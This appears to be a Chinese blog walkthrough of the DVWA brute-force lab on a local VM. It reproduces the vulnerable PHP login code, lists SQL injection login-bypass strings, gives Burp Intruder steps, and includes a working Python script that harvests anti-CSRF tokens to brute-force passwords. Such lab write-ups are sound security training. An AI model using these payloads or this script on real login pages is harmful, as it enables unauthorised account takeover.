Brute Force(暴力破解)
暴力破解是一种密码分析的方法,即将密码进行逐个推算直到找出真正的密码为止。
需要合适的字典以及攻击工具
工具 : 本篇博客使用的是Burp Intruder
字典 : 在github上有一大把
https://github.com/rootphantomer/Blasting_dictionary
环境 : DVWA搭建在win7 x86上,IP为192.168.157.137,使用物理机win10访问DVWA
LOW级别
分析low源码
LOW级别源码:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析源码可得,对输入的用户名与md5加密后的密码直接插入到数据库查询语句中,与数据库中已有的数据进行对比,没有限制输入的次数以及验证码机制,也没有对输入进行过滤,所以可以进行暴力破解并且存在sql注入.
进行爆破
1. 使用配置好代理的burpsuite进行拦截。
2. 将表单提交给intruder
3. 设置爆破的位置
效果如下:
4. 设置需要的字典,进行攻击
点击 Start attack 进行攻击
尝试用户名admin和password登陆.
登陆成功!
LOW级别攻击结束
使用sql注入进行登陆
admin’ or ‘1’ = '1 :
admin’ #
Medium
Medium源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
medium级别使用了mysqli_real_escape_string函数来预防sql注入。但是依然没有预防暴力破解,按照low级别的办法即可得到密码。
High
high级别的源码:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
从源码可得得到,High和Medium最大的区别是在于多了checkToken函数,该函数的作用是检查服务端和客户端提交的token是否相同,如果不同,则跳转至index.php。
现在抓取的包需要关注三个参数:
分别是用户名,密码,客户端提交的token,现在若还想进行暴力破解,必须要得到当前页面的token发送给服务器才可以。
解决思路: 使用python写爆破脚本
from bs4 import BeautifulSoup
import requests,re
#构造数据包
header={'Host': '192.168.157.137',
'Cache-Control': 'no-cache, must-revalidate',
'If-None-Match': "307-52156c6a290c0",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.157.137/DVWA/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Cookie': 'security=high; PHPSESSID=355dbnek6b5vnjce6181eg9k07'}
requrl = "http://192.168.157.137/DVWA-master/vulnerabilities/brute/index.php"
def get_token(URL,header):
response = requests.get(url=URL,headers=header)
print (response.status_code,end=' ')
the_page = response.text
# print(the_page)
print (len(the_page))
#使用正则表达式获得token值
token = re.findall(r"user_token.*?value='(.*?)'",the_page)
# print(token[0])
return token[0]
user_token = get_token(requrl,header)
i=0
for line in open('常用密码.txt'):
URL = "http://192.168.157.137/DVWA-master/vulnerabilities/brute/index.php"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
# print(URL)
i = i+1
print (i,'admin',line.strip(),end = ' ')
user_token = get_token(URL,header)
嫌慢可以写多线程
注意: 其中的ip地址换成自己的ip地址
结果:
impossible
添加机制,输错次数超过三次,锁定账号十五分钟,从根本上杜绝了暴力破解。